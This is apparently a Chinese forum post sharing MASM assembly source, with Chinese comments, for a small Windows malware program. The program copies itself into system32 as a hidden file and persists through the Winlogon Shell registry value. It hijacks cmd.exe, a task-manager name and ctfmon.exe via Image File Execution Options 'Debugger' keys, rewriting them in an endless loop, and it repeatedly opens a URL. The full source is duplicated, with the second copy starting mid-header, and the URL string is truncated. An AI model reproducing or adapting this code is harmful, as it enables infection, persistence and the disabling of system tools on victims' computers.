![]() |
#2
sll08072009-10-10 12:29
|

;复习一下,发觉写程序没资料参照真的写不出来
;对api也不熟,越学越觉得没入门 ,注入的还在看。。。。。。。。。。
;难..........................外挂,破解,不知几时才能学会...-_- !
;好多东东要加。。。。。。
;by onepc 153785587
.386
.model flat,stdcall
option casemap:none
include windows.inc
include user32.inc
include kernel32.inc
;include gdi32.inc ;图形
includelib user32.lib
includelib kernel32.lib
;includelib gde32.lib
include Advapi32.inc
includelib Advapi32.lib ;注册表
include shell32.inc
includelib shell32.lib ;
include macro.asm ;ctxt("")
.data
;szExeName db '\RegOs.exe',0 ;程序的名字
szMutex db 'onepc153785587',0
szRegSub db 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon',0
szRegName db 'Shell',0
szExplorer db 'Explorer.exe,',0
;szRegUserinit db 'Userinit',0
;szUserinit db 'C:\WINDOWS\system32\userinit.exe,',0
;;;;;劫持的程序名
szImgCmd db 'cmd.exe',0
szImgMgr db 'tarkmgr.exe',0
szImgMon db 'ctfmon.exe',0
szImgValue db 'Debugger',0
szImgSub db 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options',0
.data?
hInstance dd ? ;模块句柄
szExeBuffer db MAX_PATH dup (?) ;当前路径
szSystemPath db MAX_PATH dup (?);当前系统路径
szExeName db 100 dup (?) ;不带\文件名
szExeNameHua db 100 dup (?) ;带\文件名
szRegShell db MAX_PATH dup (?) ;改之后的shell值
hMutex dd ? ;互斥句柄
.const
.code
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;检测程序重复运行
_CheckChongFu proc
invoke CreateMutex,NULL,FALSE,addr szMutex
.if eax ;CreateMutex返回NULL的话表示创建失败
mov hMutex,eax ;互斥句柄
invoke GetLastError ;若有一个程序在运行那么用GetLastError得到的值会是ERROR_ALREADY_EXISTS
.if eax==ERROR_ALREADY_EXISTS
;invoke MessageBox,NULL,CTXT("已有程序在运行!"),CTXT("Error"),0
invoke ReleaseMutex,hMutex
invoke ExitProcess,NULL
.endif
;.else
;invoke MessageBox,NULL,CTXT("创建Muter失败!"),CTXT("Error"),0
.endif
ret
_CheckChongFu endp
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;禁止注册表等的线程函数
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
_DisNoTread proc uses ebx esi edi,_lParam
local @Rkey,@ImgReg,@dwSysSize
invoke lstrlen,addr szSystemPath ;计算长度
mov @dwSysSize,eax
.while TRUE
invoke Sleep,100 ;这样不会使CPU占用高
invoke RegCreateKeyEx,HKEY_LOCAL_MACHINE,addr szImgSub,NULL,NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,addr @Rkey,NULL
; .if eax==ERROR_SUCCESS
invoke RegCreateKey,@Rkey,addr szImgCmd,addr @ImgReg
invoke RegSetValueEx,@ImgReg,addr szImgValue,NULL,REG_SZ,addr szSystemPath,@dwSysSize
invoke RegCreateKey,@Rkey,addr szImgMgr,addr @ImgReg
invoke RegSetValueEx,@ImgReg,addr szImgValue,NULL,REG_SZ,addr szSystemPath,@dwSysSize
invoke RegCreateKey,@Rkey,addr szImgMon,addr @ImgReg
invoke RegSetValueEx,@ImgReg,addr szImgValue,NULL,REG_SZ,addr szSystemPath,@dwSysSize
; .endif
invoke RegCloseKey,@ImgReg
invoke RegCloseKey,@Rkey
.endw
ret
_DisNoTread endp
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;禁止注册表等的线程函数
;一些注册表操作
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
_DoReg proc
local @RulseKey,@dwShellSize; dd ? ;程序的长度
invoke lstrcpy,addr szRegShell,addr szExplorer ;把explorer.exe复制到szRegShell这个缓冲区
invoke lstrcat,addr szRegShell,addr szSystemPath ;系统路径加上程序名的全路径,得到的是explorer,c:\windows\system32\xxx.exe
invoke lstrlen,addr szRegShell ;计算长度
mov @dwShellSize,eax
invoke RegCreateKeyEx,HKEY_LOCAL_MACHINE,addr szRegSub,NULL,NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,addr @RulseKey,NULL
.if eax==ERROR_SUCCESS
invoke RegSetValueEx,@RulseKey,addr szRegName,NULL,REG_SZ,addr szRegShell,@dwShellSize ;这里是加shell的值
;这里还可以加多一个Userinit的值,不过这个启动在explorer之后 格式如下
;Userinit.exe,xxxxxx.exe
.endif
invoke RegCloseKey,@RulseKey
ret
_DoReg endp
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;复制自身到system32
_CopyToSystem32 proc uses esi
invoke GetModuleFileName,hInstance,addr szExeBuffer,sizeof szExeBuffer
;invoke MessageBox,NULL,addr szExeBuffer,CTXT("OK"),0
lea esi,szExeBuffer ;或者mov esi,offset szExeBuffer
invoke lstrlen,addr szExeBuffer ;计算全文件名的长度
add esi,eax ;这时这里esi已指向最后一个字符。是空字符。所以要减一,这样才是字符e
dec esi
;invoke MessageBox,NULL,esi,CTXT("OK"),0
.while TRUE
.break .if BYTE ptr [esi]=='\' ;这里若是esi里的内容是\的话则退出
dec esi
.endw
invoke lstrcpy,addr szExeNameHua,esi ;带\的文件名
inc esi ;上面的循环中,不等\时已减了1所以退出之后这esi指向的是带\的文件名
;invoke MessageBox,NULL,esi,CTXT("OK"),0 ;这里esi指向的已是文件名的开始
invoke lstrcpy,addr szExeName,esi ;不带\的文件名
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
invoke GetCurrentDirectory,MAX_PATH,addr szExeBuffer
;invoke MessageBox,NULL,addr szExeBuffer,CTXT("OK"),0
invoke lstrcat,addr szExeBuffer,addr szExeNameHua
invoke GetSystemDirectory,addr szSystemPath,sizeof szSystemPath
invoke lstrcat,addr szSystemPath,addr szExeNameHua ;系统路径加上程序名的全路径了
;invoke MessageBox,NULL,addr szSystemPath,CTXT("OK"),0
invoke CopyFile,addr szExeBuffer,addr szSystemPath,0 ;复制文件到system32文件夹中
invoke SetFileAttributes,addr szSystemPath,FILE_ATTRIBUTE_HIDDEN or FILE_ATTRIBUTE_SYSTEM ;设为隐藏属性
call _DoReg
ret
_CopyToSystem32 endp
;复制自身到system32
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;程序入口
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
start:
invoke GetModuleHandle,NULL
mov hInstance,eax
call _CheckChongFu ;检测程序有没有重复运行
call _CopyToSystem32 ;复制自身到system32
invoke Sleep,200
invoke CreateThread,NULL,NULL,addr _DisNoTread,NULL,NULL,NULL
invoke CloseHandle,eax ;这个关闭线程句柄并不影响线程运行
;加个循环
.while TRUE
invoke Sleep,10000
invoke ShellExecute,NULL,NULL,CTXT("http://www.),NULL,NULL,SW_NORMAL
.endw
invoke ExitProcess,NULL ;控制台,好像设不了热键 所以这个基本没用,退不出来.^_^!
end start
;对api也不熟,越学越觉得没入门 ,注入的还在看。。。。。。。。。。
;难..........................外挂,破解,不知几时才能学会...-_- !
;好多东东要加。。。。。。
;by onepc 153785587
.386
.model flat,stdcall
option casemap:none
include windows.inc
include user32.inc
include kernel32.inc
;include gdi32.inc ;图形
includelib user32.lib
includelib kernel32.lib
;includelib gde32.lib
include Advapi32.inc
includelib Advapi32.lib ;注册表
include shell32.inc
includelib shell32.lib ;
include macro.asm ;ctxt("")
.data
;szExeName db '\RegOs.exe',0 ;程序的名字
szMutex db 'onepc153785587',0
szRegSub db 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon',0
szRegName db 'Shell',0
szExplorer db 'Explorer.exe,',0
;szRegUserinit db 'Userinit',0
;szUserinit db 'C:\WINDOWS\system32\userinit.exe,',0
;;;;;劫持的程序名
szImgCmd db 'cmd.exe',0
szImgMgr db 'tarkmgr.exe',0
szImgMon db 'ctfmon.exe',0
szImgValue db 'Debugger',0
szImgSub db 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options',0
.data?
hInstance dd ? ;模块句柄
szExeBuffer db MAX_PATH dup (?) ;当前路径
szSystemPath db MAX_PATH dup (?);当前系统路径
szExeName db 100 dup (?) ;不带\文件名
szExeNameHua db 100 dup (?) ;带\文件名
szRegShell db MAX_PATH dup (?) ;改之后的shell值
hMutex dd ? ;互斥句柄
.const
.code
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;检测程序重复运行
_CheckChongFu proc
invoke CreateMutex,NULL,FALSE,addr szMutex
.if eax ;CreateMutex返回NULL的话表示创建失败
mov hMutex,eax ;互斥句柄
invoke GetLastError ;若有一个程序在运行那么用GetLastError得到的值会是ERROR_ALREADY_EXISTS
.if eax==ERROR_ALREADY_EXISTS
;invoke MessageBox,NULL,CTXT("已有程序在运行!"),CTXT("Error"),0
invoke ReleaseMutex,hMutex
invoke ExitProcess,NULL
.endif
;.else
;invoke MessageBox,NULL,CTXT("创建Muter失败!"),CTXT("Error"),0
.endif
ret
_CheckChongFu endp
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;禁止注册表等的线程函数
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
_DisNoTread proc uses ebx esi edi,_lParam
local @Rkey,@ImgReg,@dwSysSize
invoke lstrlen,addr szSystemPath ;计算长度
mov @dwSysSize,eax
.while TRUE
invoke Sleep,100 ;这样不会使CPU占用高
invoke RegCreateKeyEx,HKEY_LOCAL_MACHINE,addr szImgSub,NULL,NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,addr @Rkey,NULL
; .if eax==ERROR_SUCCESS
invoke RegCreateKey,@Rkey,addr szImgCmd,addr @ImgReg
invoke RegSetValueEx,@ImgReg,addr szImgValue,NULL,REG_SZ,addr szSystemPath,@dwSysSize
invoke RegCreateKey,@Rkey,addr szImgMgr,addr @ImgReg
invoke RegSetValueEx,@ImgReg,addr szImgValue,NULL,REG_SZ,addr szSystemPath,@dwSysSize
invoke RegCreateKey,@Rkey,addr szImgMon,addr @ImgReg
invoke RegSetValueEx,@ImgReg,addr szImgValue,NULL,REG_SZ,addr szSystemPath,@dwSysSize
; .endif
invoke RegCloseKey,@ImgReg
invoke RegCloseKey,@Rkey
.endw
ret
_DisNoTread endp
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;禁止注册表等的线程函数
;一些注册表操作
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
_DoReg proc
local @RulseKey,@dwShellSize; dd ? ;程序的长度
invoke lstrcpy,addr szRegShell,addr szExplorer ;把explorer.exe复制到szRegShell这个缓冲区
invoke lstrcat,addr szRegShell,addr szSystemPath ;系统路径加上程序名的全路径,得到的是explorer,c:\windows\system32\xxx.exe
invoke lstrlen,addr szRegShell ;计算长度
mov @dwShellSize,eax
invoke RegCreateKeyEx,HKEY_LOCAL_MACHINE,addr szRegSub,NULL,NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,addr @RulseKey,NULL
.if eax==ERROR_SUCCESS
invoke RegSetValueEx,@RulseKey,addr szRegName,NULL,REG_SZ,addr szRegShell,@dwShellSize ;这里是加shell的值
;这里还可以加多一个Userinit的值,不过这个启动在explorer之后 格式如下
;Userinit.exe,xxxxxx.exe
.endif
invoke RegCloseKey,@RulseKey
ret
_DoReg endp
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;复制自身到system32
_CopyToSystem32 proc uses esi
invoke GetModuleFileName,hInstance,addr szExeBuffer,sizeof szExeBuffer
;invoke MessageBox,NULL,addr szExeBuffer,CTXT("OK"),0
lea esi,szExeBuffer ;或者mov esi,offset szExeBuffer
invoke lstrlen,addr szExeBuffer ;计算全文件名的长度
add esi,eax ;这时这里esi已指向最后一个字符。是空字符。所以要减一,这样才是字符e
dec esi
;invoke MessageBox,NULL,esi,CTXT("OK"),0
.while TRUE
.break .if BYTE ptr [esi]=='\' ;这里若是esi里的内容是\的话则退出
dec esi
.endw
invoke lstrcpy,addr szExeNameHua,esi ;带\的文件名
inc esi ;上面的循环中,不等\时已减了1所以退出之后这esi指向的是带\的文件名
;invoke MessageBox,NULL,esi,CTXT("OK"),0 ;这里esi指向的已是文件名的开始
invoke lstrcpy,addr szExeName,esi ;不带\的文件名
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
invoke GetCurrentDirectory,MAX_PATH,addr szExeBuffer
;invoke MessageBox,NULL,addr szExeBuffer,CTXT("OK"),0
invoke lstrcat,addr szExeBuffer,addr szExeNameHua
invoke GetSystemDirectory,addr szSystemPath,sizeof szSystemPath
invoke lstrcat,addr szSystemPath,addr szExeNameHua ;系统路径加上程序名的全路径了
;invoke MessageBox,NULL,addr szSystemPath,CTXT("OK"),0
invoke CopyFile,addr szExeBuffer,addr szSystemPath,0 ;复制文件到system32文件夹中
invoke SetFileAttributes,addr szSystemPath,FILE_ATTRIBUTE_HIDDEN or FILE_ATTRIBUTE_SYSTEM ;设为隐藏属性
call _DoReg
ret
_CopyToSystem32 endp
;复制自身到system32
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;程序入口
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
start:
invoke GetModuleHandle,NULL
mov hInstance,eax
call _CheckChongFu ;检测程序有没有重复运行
call _CopyToSystem32 ;复制自身到system32
invoke Sleep,200
invoke CreateThread,NULL,NULL,addr _DisNoTread,NULL,NULL,NULL
invoke CloseHandle,eax ;这个关闭线程句柄并不影响线程运行
;加个循环
.while TRUE
invoke Sleep,10000
invoke ShellExecute,NULL,NULL,CTXT("http://www.),NULL,NULL,SW_NORMAL
.endw
invoke ExitProcess,NULL ;控制台,好像设不了热键 所以这个基本没用,退不出来.^_^!
end start